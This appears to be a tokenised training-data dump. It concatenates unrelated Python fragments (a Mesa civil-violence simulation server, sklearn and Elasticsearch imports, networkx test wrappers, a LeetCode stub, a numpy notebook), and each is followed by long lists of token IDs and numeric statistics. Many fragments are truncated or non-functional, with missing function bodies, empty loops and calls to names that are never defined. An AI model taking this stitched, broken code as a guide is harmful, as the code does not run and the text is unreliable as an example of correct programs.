220,
220,
220,
220,
1208,
628,
220,
220,
220,
825,
640,
7,
944,
8,
4613,
12178,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1208,
628,
220,
220,
220,
825,
6536,
7,
944,
8,
4613,
1351,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
685,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
82,
10486,
13,
19796,
7203,
64,
1600,
19779,
4871,
1298,
366,
29573,
6098,
18146,
834,
8726,
438,
12957,
20662,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
764,
19796,
7203,
12626,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
764,
1136,
62,
5239,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
2361,
628,
220,
220,
220,
825,
16633,
7,
944,
8,
4613,
8633,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
16633,
796,
23884,
198,
220,
220,
220,
220,
220,
220,
220,
2420,
796,
357,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
82,
10486,
13,
19796,
7203,
7146,
1600,
19779,
4871,
1298,
366,
29102,
431,
12,
40482,
12,
5458,
20662,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
764,
19796,
7203,
7146,
1600,
19779,
4871,
1298,
366,
5458,
12,
2618,
20662,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
764,
1136,
62,
5239,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
764,
36311,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
220,
220,
220,
220,
611,
2420,
13,
437,
2032,
342,
7203,
13295,
23285,
1,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2420,
796,
2420,
13,
33491,
7,
1911,
6462,
23285,
1600,
366,
4943,
628,
220,
220,
220,
220,
220,
220,
220,
2420,
796,
2420,
13,
35312,
7203,
26,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
16633,
14692,
9771,
1749,
8973,
796,
12178,
7,
5239,
58,
15,
4083,
35312,
7203,
366,
38381,
15,
12962,
628,
220,
220,
220,
220,
220,
220,
220,
329,
256,
287,
2420,
58,
16,
25,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
27560,
11,
2033,
796,
256,
13,
36311,
22446,
35312,
7203,
366,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16633,
58,
14930,
8289,
60,
796,
2033,
628,
220,
220,
220,
220,
220,
220,
220,
1441,
16633,
628,
220,
220,
220,
825,
9391,
7,
944,
8,
4613,
1351,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
15940,
796,
2116,
13,
82,
10486,
13,
19796,
62,
439,
7203,
12626,
1600,
19779,
4871,
1298,
366,
278,
23320,
12,
9186,
12,
3672,
20662,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
685,
27773,
62,
46903,
1098,
7,
12985,
13,
1136,
62,
5239,
28955,
329,
7621,
287,
15940,
60,
198
] | 2.135472 | 1,122 |
import sys
import re
import doctest
import manuel.doctest
import manuel.codeblock
import manuel.testing
import unittest
if sys.version_info[0] < 3:
# Just don't do them under Python 3.
# Sigh.
if __name__ == '__main__':
unittest.TextTestRunner().run(additional_tests())
| [
11748,
25064,
198,
11748,
302,
198,
11748,
10412,
395,
198,
11748,
582,
2731,
13,
4598,
310,
395,
198,
11748,
582,
2731,
13,
8189,
9967,
198,
11748,
582,
2731,
13,
33407,
198,
11748,
555,
715,
395,
628,
198,
361,
25064,
13,
9641,
62,
10951,
58,
15,
60,
1279,
513,
25,
198,
220,
220,
220,
1303,
2329,
836,
470,
466,
606,
739,
11361,
513,
13,
198,
220,
220,
220,
1303,
311,
394,
13,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
555,
715,
395,
13,
8206,
14402,
49493,
22446,
5143,
7,
2860,
1859,
62,
41989,
28955,
198
] | 2.76699 | 103 |
import pandas as pd
from sklearn.linear_model import LogisticRegression
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
import psycopg2
from sqlalchemy import create_engine
from config import db_password
#data from: https://www.kaggle.com/malapatiravi/graduate-school-admission-data/home
| [
11748,
19798,
292,
355,
279,
67,
198,
6738,
1341,
35720,
13,
29127,
62,
19849,
1330,
5972,
2569,
8081,
2234,
198,
6738,
1341,
35720,
13,
19849,
62,
49283,
1330,
4512,
62,
9288,
62,
35312,
198,
6738,
1341,
35720,
13,
3866,
36948,
1330,
8997,
3351,
36213,
198,
11748,
17331,
22163,
70,
17,
198,
6738,
44161,
282,
26599,
1330,
2251,
62,
18392,
198,
6738,
4566,
1330,
20613,
62,
28712,
198,
198,
2,
7890,
422,
25,
3740,
1378,
2503,
13,
74,
9460,
293,
13,
785,
14,
7617,
499,
265,
343,
15820,
14,
17680,
12,
14347,
12,
324,
3411,
12,
7890,
14,
11195,
628,
628,
220,
220,
220,
220
] | 3.365385 | 104 |
from mesa.visualization.ModularVisualization import ModularServer
from mesa.visualization.modules import CanvasGrid
from mesa.visualization.UserParam import UserSettableParameter
from mesa.visualization.modules import ChartModule
from .model import CivilViolenceModel
from .agent import Citizen, Cop
COP_COLOR = "Black"
AGENT_QUIET_COLOR = "Blue"
AGENT_REBEL_COLOR = "Red"
JAIL_COLOR = "Grey"
height=70
width=70
model_params = {
'height':height,
'width':width,
# 'height': UserSettableParameter('slider', 'Height', 40, 10, 100, 1,
# description='Citizen Density'),
# 'width': UserSettableParameter('slider', 'Width', 40, 10, 100, 1,
# description='Citizen Density'),
'citizen_density': UserSettableParameter('slider', 'Citizen Density', 0.7, 0.0, 1, 0.01,
description='Citizen Density'),
'cop_density': UserSettableParameter('slider', 'Cop Density', 0.1, 0.0, 1, 0.01,
description='Cop Density'),
'citizen_vision': UserSettableParameter('slider', 'Citizen Vision', 7, 0, 20, 1,
description='Citizen vision'),
'cop_vision': UserSettableParameter('slider', 'Cop Vision', 7, 0, 20, 1,
description='Cop Vision'),
'legitimacy': UserSettableParameter('slider', 'Legitimacy', 0.8, 0.0, 1.0, 0.01,
description='Legitimacy'),
'max_jail_term': UserSettableParameter('slider', 'Max Jail Term', 1000, 0, 10000, 1,
description='Max Jail Term')
}
chart = ChartModule([{"Label": "Active",
"Color": "Red"}],
data_collector_name='datacollector')
canvas_element = CanvasGrid(citizen_cop_portrayal, model_params['height'], model_params['height'], 700, 700)
server = ModularServer(CivilViolenceModel, [canvas_element, chart],
"Epstein Civil Violence", model_params)
| [
6738,
18842,
64,
13,
41464,
1634,
13,
5841,
934,
36259,
1634,
1330,
3401,
934,
10697,
198,
6738,
18842,
64,
13,
41464,
1634,
13,
18170,
1330,
1680,
11017,
41339,
198,
6738,
18842,
64,
13,
41464,
1634,
13,
12982,
22973,
1330,
11787,
50,
3087,
540,
36301,
198,
6738,
18842,
64,
13,
41464,
1634,
13,
18170,
1330,
22086,
26796,
198,
198,
6738,
764,
19849,
1330,
7511,
33894,
594,
17633,
198,
6738,
764,
25781,
1330,
22307,
11,
6955,
628,
198,
34,
3185,
62,
46786,
796,
366,
9915,
1,
198,
4760,
3525,
62,
43702,
2767,
62,
46786,
796,
366,
14573,
1,
198,
4760,
3525,
62,
2200,
33,
3698,
62,
46786,
796,
366,
7738,
1,
198,
37048,
4146,
62,
46786,
796,
366,
49141,
1,
628,
198,
17015,
28,
2154,
198,
10394,
28,
2154,
198,
198,
19849,
62,
37266,
796,
1391,
198,
220,
220,
220,
705,
17015,
10354,
17015,
11,
198,
220,
220,
220,
705,
10394,
10354,
10394,
11,
198,
220,
220,
220,
1303,
705,
17015,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
23106,
3256,
2319,
11,
838,
11,
1802,
11,
352,
11,
198,
220,
220,
220,
1303,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
34,
36958,
360,
6377,
33809,
198,
220,
220,
220,
1303,
705,
10394,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
30916,
3256,
2319,
11,
838,
11,
1802,
11,
352,
11,
198,
220,
220,
220,
1303,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
34,
36958,
360,
6377,
33809,
198,
220,
220,
220,
705,
66,
36958,
62,
43337,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
34,
36958,
360,
6377,
3256,
657,
13,
22,
11,
657,
13,
15,
11,
352,
11,
657,
13,
486,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
34,
36958,
360,
6377,
33809,
198,
220,
220,
220,
705,
22163,
62,
43337,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
13379,
360,
6377,
3256,
657,
13,
16,
11,
657,
13,
15,
11,
352,
11,
657,
13,
486,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
13379,
360,
6377,
33809,
198,
220,
220,
220,
705,
66,
36958,
62,
10178,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
34,
36958,
19009,
3256,
767,
11,
657,
11,
1160,
11,
352,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
34,
36958,
5761,
33809,
198,
220,
220,
220,
705,
22163,
62,
10178,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
13379,
19009,
3256,
767,
11,
657,
11,
1160,
11,
352,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
13379,
19009,
33809,
198,
220,
220,
220,
705,
1455,
270,
320,
1590,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
11484,
270,
320,
1590,
3256,
657,
13,
23,
11,
657,
13,
15,
11,
352,
13,
15,
11,
657,
13,
486,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
11484,
270,
320,
1590,
33809,
198,
220,
220,
220,
705,
9806,
62,
73,
603,
62,
4354,
10354,
11787,
50,
3087,
540,
36301,
10786,
6649,
1304,
3256,
705,
11518,
25715,
35118,
3256,
8576,
11,
657,
11,
33028,
11,
352,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6764,
11639,
11518,
25715,
35118,
11537,
198,
92,
198,
198,
40926,
796,
22086,
26796,
26933,
4895,
33986,
1298,
366,
13739,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
10258,
1298,
366,
7738,
20662,
4357,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1366,
62,
33327,
273,
62,
3672,
11639,
19608,
330,
349,
801,
273,
11537,
198,
198,
5171,
11017,
62,
30854,
796,
1680,
11017,
41339,
7,
66,
36958,
62,
22163,
62,
634,
2433,
282,
11,
2746,
62,
37266,
17816,
17015,
6,
4357,
2746,
62,
37266,
17816,
17015,
6,
4357,
13037,
11,
13037,
8,
198,
15388,
796,
3401,
934,
10697,
7,
32610,
33894,
594,
17633,
11,
685,
5171,
11017,
62,
30854,
11,
8262,
4357,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
13807,
5714,
7511,
20908,
1600,
2746,
62,
37266,
8,
198
] | 2.090909 | 1,023 |
import json
from elasticsearch import Elasticsearch
from tube.etl.outputs.es.timestamp import (
putting_timestamp,
get_latest_utc_transaction_time,
)
from tube.etl.outputs.es.versioning import Versioning
from tube.etl.plugins import post_process_plugins, add_auth_resource_path_mapping
from tube.etl.spark_base import SparkBase
from tube.utils.general import get_node_id_name
| [
11748,
33918,
198,
198,
6738,
27468,
12947,
1330,
48567,
12947,
198,
198,
6738,
12403,
13,
316,
75,
13,
22915,
82,
13,
274,
13,
16514,
27823,
1330,
357,
198,
220,
220,
220,
5137,
62,
16514,
27823,
11,
198,
220,
220,
220,
651,
62,
42861,
62,
315,
66,
62,
7645,
2673,
62,
2435,
11,
198,
8,
198,
6738,
12403,
13,
316,
75,
13,
22915,
82,
13,
274,
13,
9641,
278,
1330,
10628,
278,
198,
6738,
12403,
13,
316,
75,
13,
37390,
1330,
1281,
62,
14681,
62,
37390,
11,
751,
62,
18439,
62,
31092,
62,
6978,
62,
76,
5912,
198,
6738,
12403,
13,
316,
75,
13,
2777,
668,
62,
8692,
1330,
17732,
14881,
198,
6738,
12403,
13,
26791,
13,
24622,
1330,
651,
62,
17440,
62,
312,
62,
3672,
628,
198
] | 3.055118 | 127 |
import math
from classes.dataframes import *
import numpy as np
# class Utility:
#
# def __init__(self):
# self.Data = Dataframes()
# self.df_orders = self.Data.get_df_orders()
# self.grid_rows = self.Data.grid_row
# self.grid_cols = self.Data.grid_col
# self.df_wrhs = self.Data.get_df_wareouses()
# def calc_distance(self, xa, ya, xb, yb):
# return math.sqrt((abs(xa - xb)) ** 2 + (abs(ya - yb)) ** 2)
| [
11748,
10688,
198,
6738,
6097,
13,
7890,
37805,
1330,
1635,
198,
11748,
299,
32152,
355,
45941,
628,
198,
2,
1398,
34030,
25,
198,
2,
198,
2,
220,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
2599,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
6601,
796,
6060,
37805,
3419,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7568,
62,
6361,
796,
2116,
13,
6601,
13,
1136,
62,
7568,
62,
6361,
3419,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
25928,
62,
8516,
796,
2116,
13,
6601,
13,
25928,
62,
808,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
25928,
62,
4033,
82,
796,
2116,
13,
6601,
13,
25928,
62,
4033,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7568,
62,
18351,
11994,
796,
2116,
13,
6601,
13,
1136,
62,
7568,
62,
1574,
11370,
3419,
198,
198,
2,
825,
42302,
62,
30246,
7,
944,
11,
2124,
64,
11,
21349,
11,
2124,
65,
11,
331,
65,
2599,
198,
2,
220,
220,
220,
220,
1441,
10688,
13,
31166,
17034,
19510,
8937,
7,
27865,
532,
2124,
65,
4008,
12429,
362,
1343,
357,
8937,
7,
3972,
532,
331,
65,
4008,
12429,
362,
8,
628
] | 2.171429 | 210 |
from typing import Dict, List, Union
from sqlalchemy.dialects.postgresql import ENUM
from db import db
from models.model_mixin import ModelMixin
ActorJSON = Dict[str, Union[int, str, List[str]]]
gender_enum = ENUM("Male", "Female", name="gender")
class ActorModel(db.Model, ModelMixin):
"""SQLAlchemy model for actors"""
__tablename__ = "actors"
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), nullable=False)
date_of_birth = db.Column(db.Date, nullable=False)
gender = db.Column(gender_enum)
@classmethod
@classmethod
@classmethod
| [
6738,
19720,
1330,
360,
713,
11,
7343,
11,
4479,
201,
198,
6738,
44161,
282,
26599,
13,
38969,
478,
82,
13,
7353,
34239,
13976,
1330,
12964,
5883,
201,
198,
6738,
20613,
1330,
20613,
201,
198,
6738,
4981,
13,
19849,
62,
19816,
259,
1330,
9104,
35608,
259,
201,
198,
201,
198,
201,
198,
40277,
40386,
796,
360,
713,
58,
2536,
11,
4479,
58,
600,
11,
965,
11,
7343,
58,
2536,
11907,
60,
201,
198,
8388,
62,
44709,
796,
12964,
5883,
7203,
25486,
1600,
366,
27273,
1600,
1438,
2625,
8388,
4943,
201,
198,
201,
198,
201,
198,
4871,
27274,
17633,
7,
9945,
13,
17633,
11,
9104,
35608,
259,
2599,
201,
198,
220,
220,
220,
37227,
17861,
2348,
26599,
2746,
329,
10544,
37811,
201,
198,
201,
198,
220,
220,
220,
11593,
8658,
11925,
480,
834,
796,
366,
529,
669,
1,
201,
198,
201,
198,
220,
220,
220,
4686,
796,
20613,
13,
39470,
7,
9945,
13,
46541,
11,
4165,
62,
2539,
28,
17821,
8,
201,
198,
220,
220,
220,
1438,
796,
20613,
13,
39470,
7,
9945,
13,
10100,
7,
1120,
828,
9242,
540,
28,
25101,
8,
201,
198,
220,
220,
220,
3128,
62,
1659,
62,
24280,
796,
20613,
13,
39470,
7,
9945,
13,
10430,
11,
9242,
540,
28,
25101,
8,
201,
198,
220,
220,
220,
5279,
796,
20613,
13,
39470,
7,
8388,
62,
44709,
8,
201,
198,
201,
198,
220,
220,
220,
2488,
4871,
24396,
201,
198,
201,
198,
220,
220,
220,
2488,
4871,
24396,
201,
198,
201,
198,
220,
220,
220,
2488,
4871,
24396,
201,
198
] | 2.503968 | 252 |
#!/usr/bin/env spcli
# this command runs hierarchical FST comparison
from seqpy import cout, cerr
from seqpy.cmds import arg_parser
from seqpy.core.bioio import tabparser
import itertools
import allel
| [
2,
48443,
14629,
14,
8800,
14,
24330,
599,
44506,
198,
198,
2,
428,
3141,
4539,
38958,
376,
2257,
7208,
198,
198,
6738,
33756,
9078,
1330,
42304,
11,
269,
8056,
198,
6738,
33756,
9078,
13,
28758,
82,
1330,
1822,
62,
48610,
198,
6738,
33756,
9078,
13,
7295,
13,
65,
952,
952,
1330,
7400,
48610,
198,
198,
11748,
340,
861,
10141,
198,
11748,
28654,
75,
628,
628,
628
] | 3.166667 | 66 |
import argparse
import csv
import logging
import random
import numpy as np
import nibabel as nib
from pathlib import Path
if __name__ == "__main__":
logging.basicConfig(format='%(asctime)s | %(name)-4s | %(levelname)-4s | %(message)s',
level=logging.INFO, datefmt='%Y-%m-%d %H:%M:%S')
args = _parse_args()
main(args)
| [
11748,
1822,
29572,
198,
11748,
269,
21370,
198,
11748,
18931,
198,
11748,
4738,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
33272,
9608,
355,
33272,
198,
6738,
3108,
8019,
1330,
10644,
628,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
18931,
13,
35487,
16934,
7,
18982,
11639,
4,
7,
292,
310,
524,
8,
82,
930,
4064,
7,
3672,
13219,
19,
82,
930,
4064,
7,
5715,
3672,
13219,
19,
82,
930,
4064,
7,
20500,
8,
82,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1241,
28,
6404,
2667,
13,
10778,
11,
3128,
69,
16762,
11639,
4,
56,
12,
4,
76,
12,
4,
67,
4064,
39,
25,
4,
44,
25,
4,
50,
11537,
198,
220,
220,
220,
26498,
796,
4808,
29572,
62,
22046,
3419,
198,
220,
220,
220,
1388,
7,
22046,
8,
198
] | 2.288462 | 156 |
from base import LeetCodeProblem
class Problem(LeetCodeProblem):
# for behaviours other than exact match between solution output and expected output
# see # Testers in README.md
"""
https://leetcode.com/problems/super-ugly-number/
# first attempt:
## invariant
since all prime factor of SUNum are in primes,
it means SUNums can be obtained by multiplying primes
## approach:
generate SUNum by multiplying members of primes and push onto a max heap
when max heap reaches n size, get max
"""
# instanciate your Problem class and run
prob = Problem()
prob.run()
| [
6738,
2779,
1330,
1004,
316,
10669,
40781,
628,
198,
4871,
20647,
7,
3123,
316,
10669,
40781,
2599,
198,
220,
220,
220,
1303,
329,
38975,
584,
621,
2748,
2872,
1022,
4610,
5072,
290,
2938,
5072,
198,
220,
220,
220,
1303,
766,
1303,
309,
8586,
287,
20832,
11682,
13,
9132,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
3740,
1378,
293,
316,
8189,
13,
785,
14,
1676,
22143,
14,
16668,
12,
1018,
306,
12,
17618,
14,
628,
220,
220,
220,
1303,
717,
2230,
25,
198,
220,
220,
220,
22492,
25275,
415,
198,
220,
220,
220,
1201,
477,
6994,
5766,
286,
35329,
388,
389,
287,
778,
999,
11,
198,
220,
220,
220,
340,
1724,
35329,
5700,
460,
307,
6492,
416,
48816,
778,
999,
628,
220,
220,
220,
22492,
3164,
25,
198,
220,
220,
220,
7716,
35329,
388,
416,
48816,
1866,
286,
778,
999,
290,
4574,
4291,
257,
3509,
24575,
198,
220,
220,
220,
618,
3509,
24575,
12229,
299,
2546,
11,
651,
3509,
198,
220,
220,
220,
37227,
628,
198,
2,
916,
272,
979,
378,
534,
20647,
1398,
290,
1057,
198,
1676,
65,
796,
20647,
3419,
198,
1676,
65,
13,
5143,
3419,
198
] | 3.226316 | 190 |
import networkx.algorithms.operators.tests.test_all
import pytest
from graphscope.nx.utils.compat import import_as_graphscope_nx
import_as_graphscope_nx(networkx.algorithms.operators.tests.test_all,
decorators=pytest.mark.usefixtures("graphscope_session"))
@pytest.mark.skip(reason="not support multigraph")
@pytest.mark.skip(reason="not support multigraph")
@pytest.mark.skip(reason="not support multigraph")
@pytest.mark.skip(reason="not support multigraph")
@pytest.mark.skip(reason="not support multigraph")
@pytest.mark.skip(reason="not support multigraph")
| [
11748,
3127,
87,
13,
282,
7727,
907,
13,
3575,
2024,
13,
41989,
13,
9288,
62,
439,
198,
11748,
12972,
9288,
198,
198,
6738,
4823,
29982,
13,
77,
87,
13,
26791,
13,
5589,
265,
1330,
1330,
62,
292,
62,
34960,
29982,
62,
77,
87,
198,
198,
11748,
62,
292,
62,
34960,
29982,
62,
77,
87,
7,
27349,
87,
13,
282,
7727,
907,
13,
3575,
2024,
13,
41989,
13,
9288,
62,
439,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11705,
2024,
28,
9078,
9288,
13,
4102,
13,
1904,
69,
25506,
7203,
34960,
29982,
62,
29891,
48774,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
7,
41181,
2625,
1662,
1104,
1963,
45920,
4943,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
7,
41181,
2625,
1662,
1104,
1963,
45920,
4943,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
7,
41181,
2625,
1662,
1104,
1963,
45920,
4943,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
7,
41181,
2625,
1662,
1104,
1963,
45920,
4943,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
7,
41181,
2625,
1662,
1104,
1963,
45920,
4943,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
7,
41181,
2625,
1662,
1104,
1963,
45920,
4943,
198
] | 2.795349 | 215 |
import os
| [
198,
11748,
28686,
198
] | 2.75 | 4 |
import numpy as np
import pandas as pd
import gzip
import sys
from collections import Counter
import os
DATA_DIR = "../data/"
if not os.path.exists(DATA_DIR):
os.makedirs(DATA_DIR)
| [
11748,
299,
32152,
355,
45941,
198,
11748,
19798,
292,
355,
279,
67,
198,
11748,
308,
13344,
198,
11748,
25064,
198,
6738,
17268,
1330,
15034,
198,
11748,
28686,
198,
198,
26947,
62,
34720,
796,
366,
40720,
7890,
30487,
198,
198,
361,
407,
28686,
13,
6978,
13,
1069,
1023,
7,
26947,
62,
34720,
2599,
198,
220,
220,
220,
28686,
13,
76,
4335,
17062,
7,
26947,
62,
34720,
8,
198,
220,
220,
220,
220
] | 2.690141 | 71 |
#!/usr/bin/env python
# coding: utf-8
# In[17]:
import numpy as np
from numpy import linalg as LA
dimension=2 #次元を指定する
v=randomnumber(dimension)
e=np.zeros((dimension,dimension),dtype='float64')#エルミット演算子を生成する単位ベクトル
u=getu(dimension)
print(u)
for c in range(0,dimension):
e[c]=u[c]/LA.norm(u[c],2)#·ord=2
print(e)
# In[18]:
#psi=np.random.random((dimension))
#psi=e[0]
psi=np.array([e[0]])
print(psi)
print(LA.norm(psi,2)) #ノルム確認
# In[19]:
np.dot(np.dot(psi,e),psi.T)
# In[27]:
f=0
for a in range(0,10000):
u=getu(dimension)
for c in range(0,dimension):
e[c]=u[c]/LA.norm(u[c],2)#·ord=2
psi=psi=np.array([e[0]])
d=np.dot(np.dot(psi,e),psi.T)
if(d>=0):
f=f+1
print(f)
# # 多量子ビット系
# In[28]:
for a in range(0,2):
# In[ ]:
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
19617,
25,
3384,
69,
12,
23,
198,
198,
2,
554,
58,
1558,
5974,
628,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
299,
32152,
1330,
300,
1292,
70,
355,
9131,
628,
198,
46156,
28,
17,
220,
220,
1303,
162,
105,
94,
17739,
225,
31758,
162,
234,
229,
22522,
248,
33623,
25748,
628,
198,
198,
85,
28,
25120,
17618,
7,
46156,
8,
198,
68,
28,
37659,
13,
9107,
418,
19510,
46156,
11,
46156,
828,
67,
4906,
11639,
22468,
2414,
11537,
2,
46948,
27542,
35799,
162,
120,
242,
163,
106,
245,
36310,
31758,
37955,
22755,
238,
33623,
25748,
39355,
246,
19526,
235,
35604,
14099,
13298,
9202,
628,
198,
84,
28,
1136,
84,
7,
46156,
8,
198,
4798,
7,
84,
8,
198,
198,
1640,
269,
287,
2837,
7,
15,
11,
46156,
2599,
198,
220,
220,
220,
304,
58,
66,
22241,
84,
58,
66,
60,
14,
13534,
13,
27237,
7,
84,
58,
66,
4357,
17,
8,
2,
9129,
585,
28,
17,
198,
220,
220,
220,
220,
198,
4798,
7,
68,
8,
628,
198,
2,
554,
58,
1507,
5974,
628,
198,
2,
862,
72,
28,
37659,
13,
25120,
13,
25120,
19510,
46156,
4008,
198,
2,
862,
72,
28,
68,
58,
15,
60,
198,
862,
72,
28,
37659,
13,
18747,
26933,
68,
58,
15,
11907,
8,
198,
4798,
7,
862,
72,
8,
198,
4798,
7,
13534,
13,
27237,
7,
862,
72,
11,
17,
4008,
220,
220,
1303,
25053,
9202,
25795,
163,
95,
118,
45739,
235,
628,
198,
2,
554,
58,
1129,
5974,
628,
198,
37659,
13,
26518,
7,
37659,
13,
26518,
7,
862,
72,
11,
68,
828,
862,
72,
13,
51,
8,
628,
198,
2,
554,
58,
1983,
5974,
628,
198,
69,
28,
15,
198,
1640,
257,
287,
2837,
7,
15,
11,
49388,
2599,
198,
220,
220,
220,
334,
28,
1136,
84,
7,
46156,
8,
198,
220,
220,
220,
329,
269,
287,
2837,
7,
15,
11,
46156,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
304,
58,
66,
22241,
84,
58,
66,
60,
14,
13534,
13,
27237,
7,
84,
58,
66,
4357,
17,
8,
2,
9129,
585,
28,
17,
198,
220,
220,
220,
46231,
28,
862,
72,
28,
37659,
13,
18747,
26933,
68,
58,
15,
11907,
8,
198,
220,
220,
220,
288,
28,
37659,
13,
26518,
7,
37659,
13,
26518,
7,
862,
72,
11,
68,
828,
862,
72,
13,
51,
8,
198,
220,
220,
220,
611,
7,
67,
29,
28,
15,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
277,
28,
69,
10,
16,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
4798,
7,
69,
8,
628,
198,
2,
1303,
36469,
21253,
229,
237,
36310,
36922,
35799,
163,
111,
119,
198,
198,
2,
554,
58,
2078,
5974,
628,
198,
1640,
257,
287,
2837,
7,
15,
11,
17,
2599,
198,
220,
220,
220,
220,
628,
198,
2,
554,
58,
2361,
25,
628,
628,
198
] | 1.694387 | 481 |
import json
import io
| [
11748,
33918,
198,
11748,
33245,
628
] | 3.833333 | 6 |
import json
import os
import random
import requests
from django_project import settings
